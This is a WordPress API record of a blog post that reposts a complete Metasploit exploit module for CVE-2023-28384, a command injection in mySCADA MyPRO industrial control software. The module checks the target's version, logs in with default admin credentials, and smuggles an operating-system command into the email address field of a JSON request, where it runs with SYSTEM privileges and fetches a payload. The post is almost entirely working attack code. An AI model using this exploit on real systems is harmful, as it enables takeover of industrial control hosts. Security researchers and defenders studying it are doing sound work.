{"id":58504,"date":"2024-07-29T21:00:19","date_gmt":"2024-07-29T18:00:19","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/179781\/mypro_cmdexe.rb.txt"},"modified":"2024-07-29T21:00:19","modified_gmt":"2024-07-29T18:00:19","slug":"myscada-mypro-authenticated-command-injection","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/myscada-mypro-authenticated-command-injection\/","title":{"rendered":"mySCADA MyPRO Authenticated Command Injection"},"content":{"rendered":"<p>class MetasploitModule &lt; Msf::Exploit::Remote<br \/>Rank = ExcellentRanking<br \/>include Msf::Exploit::Remote::HttpClient<br \/>prepend Msf::Exploit::Remote::AutoCheck<\/p>\n<p>def initialize(info = {})<br \/>super(<br \/>update_info(<br \/>info,<br \/>&#8216;Name&#8217; =&gt; &#8216;mySCADA MyPRO Authenticated Command Injection (CVE-2023-28384)&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>Authenticated Command Injection in MyPRO &lt;= v8.28.0 from mySCADA.<br \/>The vulnerability can be exploited by a remote attacker to inject arbitrary operating system commands which will get executed in the context of NT AUTHORITY\\SYSTEM.<br \/>},<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;Author&#8217; =&gt; [&#8216;Michael Heinzl&#8217;], # Vulnerability discovery &amp; MSF module<br \/>&#8216;References&#8217; =&gt; [<br \/>[ &#8216;URL&#8217;, &#8216;https:\/\/www.cisa.gov\/news-events\/ics-advisories\/icsa-23-096-06&#8217;],<br \/>[ &#8216;CVE&#8217;, &#8216;2023-28384&#8217;]],<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2022-09-22&#8217;,<br \/>&#8216;Platform&#8217; =&gt; &#8216;win&#8217;,<br \/>&#8216;Arch&#8217; =&gt; [ ARCH_CMD ],<br \/>&#8216;Targets&#8217; =&gt; [<br \/>[<br \/>&#8216;Windows_Fetch&#8217;,<br \/>{<br \/>&#8216;Arch&#8217; =&gt; [ ARCH_CMD ],<br \/>&#8216;Platform&#8217; =&gt; &#8216;win&#8217;,<br \/>&#8216;DefaultOptions&#8217; =&gt; { &#8216;FETCH_COMMAND&#8217; =&gt; &#8216;CURL&#8217; },<br \/>&#8216;Type&#8217; =&gt; :win_fetch<br \/>}<br \/>]],<br \/>&#8216;DefaultTarget&#8217; =&gt; 0,<\/p>\n<p>&#8216;Notes&#8217; =&gt; {<br \/>&#8216;Stability&#8217; =&gt; [CRASH_SAFE],<br \/>&#8216;Reliability&#8217; =&gt; [REPEATABLE_SESSION],<br \/>&#8216;SideEffects&#8217; =&gt; [IOC_IN_LOGS]}<br \/>)<br \/>)<\/p>\n<p>register_options(<br \/>[<br \/>OptString.new(<br \/>&#8216;USERNAME&#8217;,<br \/>[ true, &#8216;The username to authenticate with (default: admin)&#8217;, &#8216;admin&#8217; ]),<br \/>OptString.new(<br \/>&#8216;PASSWORD&#8217;,<br \/>[ true, &#8216;The password to authenticate with (default: admin)&#8217;, &#8216;admin&#8217; ]),<br \/>OptString.new(<br \/>&#8216;TARGETURI&#8217;,<br \/>[ true, &#8216;The URI for the MyPRO web interface&#8217;, &#8216;\/&#8217; ])<br \/>])<br \/>end<\/p>\n<p># Determine if the MyPRO instance runs a vulnerable version<br \/>def check<br \/>begin<br \/>res = send_request_cgi({<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;l.fcgi&#8217;),<br \/>&#8216;vars_post&#8217; =&gt; {<br \/>&#8216;t&#8217; =&gt; &#8217;98&#8217;<br \/>}<br \/>})<br \/>rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError<br \/>return CheckCode::Unknown<br \/>end<\/p>\n<p>if res &amp;&amp; res.code == 200<br \/>data = res.get_json_document<br \/>version = data[&#8216;V&#8217;]if version.nil?<br \/>return CheckCode::Unknown<br \/>else<br \/>vprint_status(&#8216;Version retrieved: &#8216; + version)<br \/>end<\/p>\n<p>if Rex::Version.new(version) &lt;= Rex::Version.new(&#8216;8.28&#8217;)<br \/>return CheckCode::Appears<br \/>else<br \/>return CheckCode::Safe<br \/>end<br \/>else<br \/>return CheckCode::Unknown<br \/>end<br \/>end<\/p>\n<p>def exploit<br \/>execute_command(payload.encoded)<br \/>end<\/p>\n<p>def execute_command(cmd)<br \/>print_status(&#8216;Checking credentials&#8230;&#8217;)<br \/>check_auth<br \/>print_status(&#8216;Sending command injection&#8230;&#8217;)<br \/>exec_mypro(cmd)<br \/>print_status(&#8216;Exploit finished, check thy shell.&#8217;)<br \/>end<\/p>\n<p># Check if credentials are working<br \/>def check_auth<br \/>res = send_request_cgi({<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;sss2&#8217;),<br \/>&#8216;headers&#8217; =&gt; {<br \/>&#8216;Authorization&#8217; =&gt; basic_auth(datastore[&#8216;USERNAME&#8217;], datastore[&#8216;PASSWORD&#8217;])<br \/>}<br \/>})<\/p>\n<p>unless res<br \/>fail_with(Failure::Unreachable, &#8216;Failed to receive a reply from the server.&#8217;)<br \/>end<br \/>case res.code<br \/>when 200<br \/>print_good(&#8216;Credentials are working.&#8217;)<br \/>when 401<br \/>fail_with(Failure::NoAccess, &#8216;Unauthorized access. Are your credentials correct?&#8217;)<br \/>else<br \/>fail_with(Failure::UnexpectedReply, &#8216;Unexpected reply from the target.&#8217;)<br \/>end<br \/>end<\/p>\n<p># Send command injection<br \/>def exec_mypro(cmd)<br \/>post_data = {<br \/>&#8216;type&#8217; =&gt; &#8216;sendEmail&#8217;,<br \/>&#8216;addr&#8217; =&gt; &#8220;#{Rex::Text.rand_text_alphanumeric(3..12)}@#{Rex::Text.rand_text_alphanumeric(4..8)}.com\\&#8221;&amp;&amp;#{cmd}&#8221;<br \/>}<br \/>post_json = JSON.generate(post_data)<\/p>\n<p>res = send_request_cgi({<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;ctype&#8217; =&gt; &#8216;application\/json&#8217;,<br \/>&#8216;data&#8217; =&gt; post_json,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;sss2&#8217;),<br \/>&#8216;headers&#8217; =&gt; {<br \/>&#8216;Authorization&#8217; =&gt; basic_auth(datastore[&#8216;USERNAME&#8217;], datastore[&#8216;PASSWORD&#8217;])<br \/>}<\/p>\n<p>})<\/p>\n<p># We don&#8217;t fail if no response is received, as the server will wait until the injected command got executed before returning a response. Typically, this will simply result in a 504 Gateway Time-out error after some time, but there is no indication on whether the injected payload got successfully executed or not from the server response.<\/p>\n<p>if res &amp;&amp; res.code == 200 # If the injected command executed and terminated within the timeout, a HTTP status code of 200 is returned.<br \/>print_good(&#8216;Command successfully executed, check your shell.&#8217;)<br \/>end<br \/>end<\/p>\n<p>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>class MetasploitModule &lt; Msf::Exploit::RemoteRank = ExcellentRankinginclude Msf::Exploit::Remote::HttpClientprepend Msf::Exploit::Remote::AutoCheck def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;mySCADA MyPRO Authenticated Command Injection (CVE-2023-28384)&#8217;,&#8216;Description&#8217; =&gt; %q{Authenticated Command Injection in MyPRO &lt;= v8.28.0 from mySCADA.The vulnerability can be exploited by a remote attacker to inject arbitrary operating system commands which will get executed in the context of NT AUTHORITY\\SYSTEM.},&#8216;License&#8217; =&gt; MSF_LICENSE,&#8216;Author&#8217; &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-58504","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58504","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=58504"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58504\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=58504"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=58504"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=58504"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}